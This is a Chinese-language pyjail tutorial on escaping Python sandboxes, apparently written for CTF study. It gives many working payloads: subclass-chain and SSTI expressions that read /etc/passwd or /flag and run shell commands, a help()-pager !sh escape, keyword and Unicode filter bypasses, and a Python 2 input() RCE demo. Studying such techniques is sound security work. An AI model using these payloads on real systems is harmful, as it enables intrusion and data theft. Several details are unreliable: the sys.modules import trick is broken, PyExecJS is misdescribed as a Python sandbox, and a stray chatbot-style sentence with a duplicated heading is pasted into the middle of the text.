概念

Python 沙箱是一个受限制的执行环境,允许您运行不受信任的 Python 代码,同时限制其访问系统资源和执行危险操作。Python 沙箱通常用于以下情况:

在网络应用程序中运行用户提交的代码,以防止恶意代码执行。

在测试和调试期间,隔离和检查不受信任的代码,以确保其不会破坏系统。

在某些自动化任务中,限制脚本的行为,以防止不必要的风险。

python沙箱逃逸简称pyjail,就是用来逃脱python固定环境,执行系统命令的方法

使用场景

  1. 使用 exec 或 eval
    Python 提供了内置的 exec 和 eval 函数,允许动态执行代码。可以在运行时将代码传递给这些函数,并在受控环境中执行它们。然而,要注意,exec 和 eval 本身不提供沙箱保护措施,因此需要谨慎使用。
code = "print('Hello, World!')"
exec(code)
  1. 使用模块级别的沙箱
    一种常见的做法是使用模块级别的沙箱,例如 restrictedpython 和 PyExecJS。这些工具可以在独立的执行环境中运行 Python 代码,并限制其访问系统资源。它们通常提供一组允许和禁止的操作,以控制代码的行为。
from restrictedpython import compile_restricted, safe_builtins
 
code = """
result = 1 + 1
print(result)
"""
 
restricted_globals = {"__builtins__": safe_builtins}
bytecode = compile_restricted(code, "<string>", "exec")
exec(bytecode, restricted_globals)

python特性、魔术方法及魔术属性

特性

类的继承

所有类均继承自object基类,python中一切都是对象的特性

  1. 不带有object的继承
class Person:
"""
不带object
"""
    name="wh1te"
  1. 带有object的继承
class Animal(object):
"""
带有object
"""
    name="wh1te"

image.png

注意:这个现象是 Python 2 特有的

  • 在 Python 2 中:必须显式写出 class Name(object): 才能拥有这些丰富的魔术方法。
  • 在 Python 3 中万物皆对象。无论你是写 class Person: 还是 class Person(object):,Python 3 都会默认让你继承 object。也就是说,在 Python 3 里,所有类都是新式类,默认都自带那一长串的“利用点”。

也就是说python3自带object属性

魔术方法及属性

  • __init__:对象初始化方法,在创建对象时调用。
  • __repr__:返回对象的“官方”字符串表示形式。
  • __str__:返回对象的“非正式”或友好字符串表示形式。
  • __len__:返回对象的长度。
  • __getitem__:获取对象中指定键的值。
  • __setitem__:设置对象中指定键的值。
  • __delitem__:删除对象中指定键的值。
  • __iter__:返回一个迭代器对象。
  • __contains__:检查对象是否包含指定的元素。
  • __call__:实例对象作为函数调用时调用。
  • __base__:返回当前类的基类。如 str.__base__ 会返回 <class 'object'>
  • __subclasses__():查看当前类的子类组成的列表
  • __builtins__:以一个集合的形式查看其引用
  • __getattr__, __setattr__, __delattr__:处理对象属性的获取、设置和删除。
  • __enter__, __exit__:定义在使用 with 语句时对象的上下文管理行为。
  • globals:返回所有全局变量的函数;
  • locals:返回所有局部变量的函数;
  • __import__:载入模块的函数。例如 import os 等价于 os = __import__('os')
  • __file__:该变量指示当前运行代码所在路径
  • _:该变量返回上一次运行的 python 语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量。
  • chrord:字符与ASCII码转换函数。
  • dir:查看对象的所有属性和方法。
  • __doc__:类的帮助文档。默认类均有帮助文档。对于自定义的类,需要我们自己实现。

Pyjail基础解法及payload构造

基础Payload实现方法

在python中导入模块的方法一般有三种:

  1. import xxx
  2. from xxx import
  3. __import__('xxx')

我们可以通过上述的导入方法,导入相关的模块并使用上述的函数实现命令执行。除此以外,我们也可以通过路径引入模块:如在LInux系统中pythonos模块一般都是在/usr/lib/pythonx.x/os.py,当知道路径的时候,我们就可以通过如下的操作导入模块,然后进一步使用相关函数。

import sys
sys.modules['os']='/usr/lib/pythonx.x/os.py'
import os

类似的,当我们知道如何导入模块后,就可以利用危险函数去执行后操作

打开文件

print(open('/flag').read())
__import__('os').system('cat flag')
__import__('os').system('sh')

读取文件

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

写文件

().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

获取全局变量

获取全局变量与函数利用

在受限环境中,攻击者往往处于“致盲”状态,不知道当前环境中有哪些变量、导入了哪些模块。此时,利用内建函数来窥探全局作用域是打破僵局的第一步。

globals()`

  • 原理: 返回一个包含当前全局符号表(Global Symbol Table)的字典。

  • 利用场景: 在沙箱或模板环境中直接调用或打印 globals()

  • 实战价值: * 泄露敏感变量: 如果开发者将 Flag、API Key 或数据库密码存在全局变量中,调用 globals() 会直接将其全盘托出。

    • 发现可用模块: 很多沙箱在过滤时只是删除了特定的关键词,但如果环境中恰好之前已经 import os,通过查阅 globals() 就能发现 os 模块的引用,从而直接利用。
# 假设环境中有个隐藏变量
SECRET_FLAG = "flag{python_is_fun}"

# 攻击者输入
print(globals())

# 输出结果中会包含:{'__name__': '__main__', ..., 'SECRET_FLAG': 'flag{python_is_fun}'}

vars()

  • 原理: 返回对象的 __dict__ 属性。如果不带任何参数调用 vars(),它的行为与 locals() 相同,即返回当前本地符号表的字典。

  • 利用场景: 类似于 globals(),常用于信息收集。当 globals() 被沙箱禁用时,vars() 可以作为一个极佳的替代品来获取当前作用域的变量信息。


help() 函数

help() 是 Python 提供的交互式帮助系统,但在安全领域,它是一个极度危险的后门,主要有两个维度的利用方式:

信息泄露:探查 __main__

正如你截图中提到的 进入help, 查 __main__

  • 原理: __main__ 指代的是当前正在执行的脚本自身。当你调用 help('__main__') 或进入 help 交互模式后输入 __main__,Python 会尝试解析当前脚本的结构,并打印出所有的类、函数声明以及变量名注释(Docstrings)

  • 利用场景: 纯黑盒测试时,攻击者不知道当前代码逻辑,通过查阅 __main__ 可以快速理清代码结构,甚至查看到写在注释里的敏感信息或原本不可见的自定义函数。

系统命令执行:利用分页器 (Pager) 逃逸

这是 help() 在终端沙箱(Terminal Pyjail)中最致命的漏洞。

  • 原理:help() 输出的内容过长(超过一屏)时,Python 底层会调用系统的分页器(如 Linux 下的 moreless)来展示内容。

  • 利用步骤:

    1. 触发长内容的 help,例如:help(builtins)help(str)

    2. 此时终端会进入 less 的阅读模式(屏幕底部显示 : 提示符)。

    3. 逃逸点:less 分页器中,原生地支持执行系统命令!攻击者只需输入 !sh!/bin/sh 然后回车。

    4. 瞬间跳出 Python 沙箱,直接获得操作系统的 Shell 权限。

# 攻击者在沙箱中输入
>>> help(str)

# 屏幕进入 less 分页器
Help on class str in module builtins:
class str(object)
...
: 

# 攻击者在这里输入 !sh
:!sh
$ whoami
root

waf绕过

基于长度限制

help

1、输入:help(),这里字符串长度只有6,会进入正常调用eval 函数; 2、进入help交互式,然后输入任意一个模块名获得该模块的帮助文档,如sys; 3、在Linux中,这里呈现帮助文档时,实际上是调用了系统里的less或more命令,可以利用这俩个命令执行本地命令的特性来获取一个shell,继续按#!,再执行外部命令sh即可。

多次交互进行拼接

"_"函数字符拼接 '00' __+'aaa' __+bbb' eval(_)`

breakpoint()

breakpoint() 函数可以在程序的任何位置调用。当程序执行到这个位置时,它将暂停,并打开一个交互式调试器

基于字符串匹配的过滤的绕过

利用函数返回值与布尔特性构造 0 和 1

在 Python 中,布尔值 TrueFalse 本质上就是整数 10boolint 的子类)。同时,Python 规定空的数据结构(空列表、空元组、空字符串)在进行布尔判断时都为 False

  • 构造 0 的原理解析:
    • len([]):空列表的长度自然是 0,这是最常用、最短的构造方式。
    • bool([]) / False:空列表转为布尔值是 False,参与数学运算时等价于 0。
    • any(())any() 函数用于判断可迭代对象中是否有一个元素为真。空元组里什么都没有,自然返回 False (0)。
  • 构造 1 的原理解析:
    • True:直接等价于 1。
    • bool([""]):列表中虽然是一个空字符串,但列表本身不为空(长度为 1),所以转为布尔值是 True (1)。
    • all(())all() 判断可迭代对象中是否所有元素都为真。对于空元组,这是一个“空真(vacuous truth)”的逻辑现象,Python 会返回 True (1)。

实战案例: 如果我们需要数字 5,可以通过多个 True 相加来构造:

# 构造数字 5
payload_5 = True + True + True + True + True
# 或者利用 len
payload_5 = len([[],[],[],[],[]])

# 此时想获取某个元组的第 5 个元素:
().__class__.__mro__[True + True + True + True + True]

利用字符串取整(利用 len()repr()

当你需要一个较大的数字(比如 40、59 这种用于 __subclasses__() 索引的数字)时,如果用 True 一直加下去,payload 会极其冗长。此时可以利用内置对象的字符串表示形式(reprstr),再通过 len() 计算其字符长度来快速获得较大数值。

  • 原理解析:
    • repr(True) 会返回字符串 'True',包含 4 个字符,所以 len(repr(True)) 结果为 4
    • repr(bytearray) 会返回字符串 "<class 'bytearray'>",包含 19 个字符,所以 len(repr(bytearray)) 结果为 19

实战案例: 利用内置对象名称的长度,结合加减乘除快速逼近目标数字。

# 假设我们需要数字 40
# 已知 len(repr(bytearray)) 是 19
# len(repr(True)) 是 4
# len(repr(dict)) 也就是 "<class 'dict'>" 的长度是 14

# 19 * 2 + 2 = 40
payload_40 = len(repr(bytearray)) * len('aa') + len('aa')
# 其中 'aa' 可以用字典建构技巧生成(见下一节)

神奇的 len + dict + list 组合

这是一种非常精妙的构造任意小数字的方法,主要利用了 dict(key=value) 这种关键字参数创建字典的语法。它最大的优势是代码中不需要出现任何引号包裹的字符串字面量,完美绕过引号过滤。

  • len(list(dict(aa=()))[len([])]) 构造 2 为例,我们一步步拆解:
# 第一步:创建一个值为 空元组 的字典。由于使用了关键字参数 aa,字典的键会被自动转换为字符串 'aa'
step_1 = dict(aa=()) 
# step_1 的结果是 {'aa': ()}

# 第二步:将字典转换为列表。在 Python 中,直接对字典使用 list() 会提取它的所有键。
step_2 = list(step_1) 
# step_2 的结果是 ['aa']

# 第三步:获取这个列表的第 0 个元素。因为不能用数字 0,所以用 len([]) 代替。
step_3 = step_2[len([])] 
# step_3 的结果就是字符串 'aa'

# 第四步:计算这个字符串的长度
step_4 = len(step_3)
# 最终结果是 2

实战案例: 举一反三,你想构造几,就写几个字母:

# 构造数字 1 (键名写 1 个字母)
len(list(dict(a=()))[len([])])

# 构造数字 4 (键名写 4 个字母)
len(list(dict(abcd=()))[len([])])

# 将其用于拼接获取列表索引:
# 比如要获取 list[4],且不能用数字和引号:
my_list[len(list(dict(abcd=()))[len([])])]

基于字符串匹配的过滤的绕过

当防御者(如 WAF 或沙箱机制)过滤了特定的关键字(例如 os, system, __class__, __builtins__ 等)时,我们可以利用 Python 灵活的属性获取机制,结合字符串拼接、反转、编码等操作来重组被过滤的关键字,从而绕过黑名单。

getattr 函数

  • 如何使用getattr(object, name) 用于返回对象的属性值。由于属性名 name 是以字符串形式传入的,我们可以对这个字符串进行任意变形(拼接、切片、格式化等),只要最终计算结果是正确的属性名即可。

  • 示例:假设 __class__os 被过滤。

    # 正常写法:().__class__
    # 绕过写法(拼接):
    getattr((), '__cla' + 'ss__')
    
    # 绕过写法(反转):
    getattr((), '__ssalc__'[::-1])
    
    # 结合导入执行命令(假设 os 被过滤):
    getattr(__import__('o'+'s'), 'sys'+'tem')('whoami')

__getattribute__ 函数

  • 如何使用:这是 Python 新式类底层的魔术方法,功能与 getattr 类似,用于获取对象属性。它同样接受字符串作为参数,因此支持字符串变异绕过。相比内置函数 getattr__getattribute__ 是对象的方法,调用方式更直接。

  • 示例:假设 __bases__ 被过滤。

# 正常写法:().__class__.__bases__
# 绕过写法:
().__class__.__getattribute__('__ba' + 'ses__')

__getattr__ 函数

  • 如何使用__getattr__ 是在正常属性查找(包括 __getattribute__失败时才会被调用的魔术方法。在特定场景(例如构造利用链时,遇到重写了该方法的自定义类),我们可以利用它来触发特定的逻辑或返回意想不到的对象。它同样依赖字符串传入。

  • 区别提示:通常绕过关键字首选是 getattr__getattribute____getattr__ 更多作为漏洞利用链中的一环(Gadget)来被动触发。

__globals__ 替换

  • 如何使用:在寻找利用链时,我们通常需要通过函数的 __globals__ 属性(或 Python 2 中的 func_globals)来获取全局变量字典,进而拿到 __builtins__ 以调用 eval__import__。如果 __globals__ 被过滤,除了使用上述的字符串拼接,还可以寻找替代路径或利用其他模块的引用。

  • 示例

# 正常获取 eval:
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('1+1')
    
# 绕过(拼接方式):
getattr(().__class__.__bases__[0].__subclasses__()[59].__init__, '__glo'+'bals__')['__builtins__']['eval']('1+1')
    
# 替换方案(寻找内置了 __builtins__ 的其他对象,如 sys.modules):
# 很多时候不需要死磕 __globals__,可以横向寻找其他导入了 os 等危险模块的类。

__mro____bases____base__ 互换

  • 如何使用:在 SSTI 或反序列化中,我们需要从当前类向上溯源到顶层基类 object。这三个属性的作用相似,但返回格式略有不同。如果其中某一个被 WAF 过滤,直接替换成另外两个即可。

  • 示例及区别

    • __base__:返回直接父类(通常是一个类对象)。
# 寻找 object
().__class__.__base__
- `__bases__`:返回所有直接父类组成的**元组**。
# 寻找 object
().__class__.__bases__[0] 
- `__mro__`:返回方法解析顺序,即从当前类一直到 `object` 的所有类组成的**元组**。
# 寻找 object,通常在索引 -1 或特定的位置
().__class__.__mro__[1] # 对于 tuple 类来说,索引 1 就是 object

基于多行限制的绕过

当漏洞点(如存在缺陷的 eval() 调用或特定模板引擎)强制要求只能输入单行表达式(Expression) 时,正常的 import os; os.system('id') 这种多行语句(Statement)会引发语法错误。以下技巧旨在将“多行代码”压缩成“单一的表达式”进行执行。

exec

  • 如何使用eval() 只能执行表达式(不能有赋值操作 =,不能有 import 语句等),但 exec() 可以执行复杂的代码块。我们可以利用 eval 去执行 exec,并将我们想要执行的多行代码以带有换行符(\n)的纯字符串形式传递给 exec

  • 示例

# 外层 eval 是漏洞触发点,内层 exec 负责执行多行逻辑
eval("exec('__import__(\"os\")\\nprint(1)')")
    
# 更具实战意义的例子(写入一句话木马等):
eval("exec('import os\\nos.system(\"whoami\")')")

compile

  • 如何使用compile(source, filename, mode) 函数可以将包含换行和复杂逻辑的字符串编译成 Python 字节码对象(Code Object)。当 mode='exec' 时,它可以编译多行语句。编译完成后,外层再配合 eval()exec() 来运行这段字节码。

  • 示例

# 将多行 print 语句编译为可执行代码,并由最外层的 eval 执行
eval("eval(compile('print(\"hello world\"); print(\"heyy\")', '<stdin>', 'exec'))")
    
# 执行系统命令:
eval("eval(compile('import os\\nos.system(\"ls\")', '<string>', 'exec'))")

海象表达式(Walrus Operator :=

  • 如何使用:这是 Python 3.8+ 引入的神器。它允许你在表达式内部进行变量赋值。以前在单行 eval() 中,你无法先导入模块存为变量然后再调用它(因为赋值语句不是表达式)。有了海象运算符,我们可以使用列表或字典的推导式/字面量,在一条表达式中完成“导入 赋值 调用”的流水线操作。

  • 示例

# 漏洞点为 eval(),将 os 模块赋值给 a,然后直接调用 a.system,并将结果赋值给 b。
# 整个过程被包裹在一个列表表达式 [] 中,合法且不会换行。
eval('[a := __import__("os"), b := a.system("id")]')
    
# 读文件的例子:
eval('[f := open("/etc/passwd"), res := f.read(), f.close(), res][1]')
# 注意最后加个 [1] 是为了从列表中直接提取出 res(文件内容)进行回显。

基于模块删除的绕过

这是一份为您补充完善并使用标准代码块进行排版的笔记。为了更具实战指导意义,我在原内容的基础上补充了一些原理说明,并指出了 payload 中的索引号(如 [40], [79])在实际环境中是动态变化的。

基于模块删除的绕过

在很多沙箱或受限环境中,防御者会删除危险模块(如 os, sys 等)。此时,我们可以通过 Python 的面向对象继承机制,从基础内置对象出发,向上寻找基类 object,再向下遍历所有子类,从而重新找回被删除的危险模块或类。


基于继承链获取

在 Python 中,所有类的最终基类都是 object。通过魔术方法,我们可以完成“对象 基类 所有子类”的链式调用。

  • 查看变量所属的类:

    ().__class__
    # 或者 "".__class__, [].__class__
    
  • 根据变量的类得到其所属的基类元组:

    ().__class__.__bases__
    
  • 反查 object 类的子类组成的列表:

    ().__class__.__bases__[0].__subclasses__()
    # 或者使用 __base__ 直接获取第一个基类
    ().__class__.__base__.__subclasses__()
    
  • 获取当前 Python 环境中所有对象的子类列表中的特定类:

    # 假设第 40 个子类是我们需要的危险类(注:索引号 40 在不同环境中会变化)
    [].__class__.__base__.__subclasses__()[40]
    

文件读取与命令执行绕过

利用上述继承链找到特定的子类后,可以进行文件读取或命令执行。

1. Python 2 环境读取文件

在 Python 2 中,file 类是内置的,可以直接用来读取文件。假设 file 类在子类列表中的索引为 40:

[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
2. Python 3 环境读取文件

Python 3 移除了底层的 file 类,但我们可以寻找其他具有文件读取能力的类,例如 <class '_frozen_importlib_external.FileLoader'>。假设其索引为 79:

{{ ().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd") }}

补充修正: 图片原文中提供的第二个 payload 实际上是利用了 subprocess.Popen 类来进行命令执行,而非读取文件。假设 subprocess.Popen 的索引为 79:

{{ ().__class__.__bases__[0].__subclasses__()[79]("cat /flag", shell=True, stdout=-1).communicate()[0] }}

利用内建函数 eval 执行命令

如果找不到直接执行命令的类,可以寻找那些全局变量(__globals__)中引入了 __builtins__ 的类,从中提取 eval 函数,再利用 eval 动态导入 os 模块执行命令。假设具有此特性的类索引为 166:

{{ ''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()') }}

常见全局命名空间中含有 eval 函数(或可利用模块)的类:

  • warnings.catch_warnings

  • WarningMessage

  • codecs.IncrementalEncoder

  • codecs.IncrementalDecoder

  • codecs.StreamReaderWriter

  • os._wrap_close (极度常用,其 globals 中通常包含整个 os 模块)

  • reprlib.Repr

  • weakref.finalize


三、 Unicode 绕过 (WAF 规避)

当遇到 WAF (Web 应用防火墙) 过滤了特定的英文字符或关键字(如 os, eval, class)时,可以利用 Python 3 的特性进行绕过。

  • 原理: Python 3 开始支持非 ASCII 字符作为标识符(变量名、函数名等)。在解析代码时,Python 会使用 Unicode Normalization Form KC (NFKC) 规范化算法。该算法会将一些在视觉上相似或存在等价关系的 Unicode 字符统一转换为标准的 ASCII 形式。

  • 利用方式: 使用数学字母数字符号(Mathematical Alphanumeric Symbols)等特殊 Unicode 字符来替换被过滤的字母。

测试字符集集锦(NFKC 规范化后等价于对应的标准字符):

# 特殊的数字:
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗

# 特殊的小写字母:
𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳
𝒂𝒃𝒄𝒅𝒆𝒇𝒈𝒉𝒊𝒋𝒌𝒍𝒎𝒏𝒐𝒑𝒒𝒓𝒔𝒕𝒖𝒗𝒘𝒙𝒚𝒛

# 特殊的大写字母:
𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙

例如,如果 __class__ 被过滤,可以尝试传入 __𝐜𝐥𝐚𝐬𝐬__,Python 解释器在运行时会将其规范化还原。

基于 input() 的命令执行漏洞 (Python 2 特性)

在早期的 Python 版本中,为了方便开发者获取各种数据类型(如直接输入数字、列表等),input() 函数被设计为带有自动执行(求值)的功能。这个设计在带来便利的同时,也引发了极其严重的安全隐患。


核心差异对比

要理解这个漏洞,首先需要理清 Python 2 和 Python 3 在接收标准输入时的根本区别:

  • Python 2 的 raw_input() 从标准输入接收内容,并始终将其作为纯字符串 (String) 返回。这是安全的做法。

  • Python 2 的 input() 相当于自动对用户的输入执行了一次 eval()。它会把用户的输入当作 Python 表达式去运行,并返回执行后的结果。

  • Python 3 的 input() Python 3 修复了这个问题,移除了旧版的 input(),并将旧版的 raw_input() 重命名为 input()。因此,Python 3 的 input() 只会返回纯字符串

核心等式:

Python 2 input() == Python 2 eval(raw_input()) == Python 3 eval(input())


漏洞演示示例

假设有一个基于 Python 2 运行的简单交互程序:

存在漏洞的 Python 2 源码 (app.py)

# 运行环境: Python 2.x
print "Welcome to the calculator!"
# 开发者本意是让用户输入一个数学表达式,比如 2+2
result = input("Please enter a math expression: ")
print "The result is: ", result

2. 正常用户的输入

Please enter a math expression: 10 * 5
The result is: 50

由于 input() 自动计算了 10 * 5,开发者觉得这个功能很方便。

3. 攻击者的恶意输入 (RCE 攻击)

攻击者不再输入数学公式,而是输入一段可以执行系统命令的 Python 代码:

Please enter a math expression: __import__('os').system('whoami')

执行结果:

root        <-- 系统命令 whoami 的执行结果直接输出到了终端
The result is: 0

原理解析: 由于 Python 2 的 input() 等同于 eval(),它直接将字符串 __import__('os').system('whoami') 丢给 Python 解释器去当成代码执行了。这导致攻击者在无需任何沙箱逃逸技巧的情况下,直接拿到了服务器的 Shell 权限(Remote Code Execution, RCE)。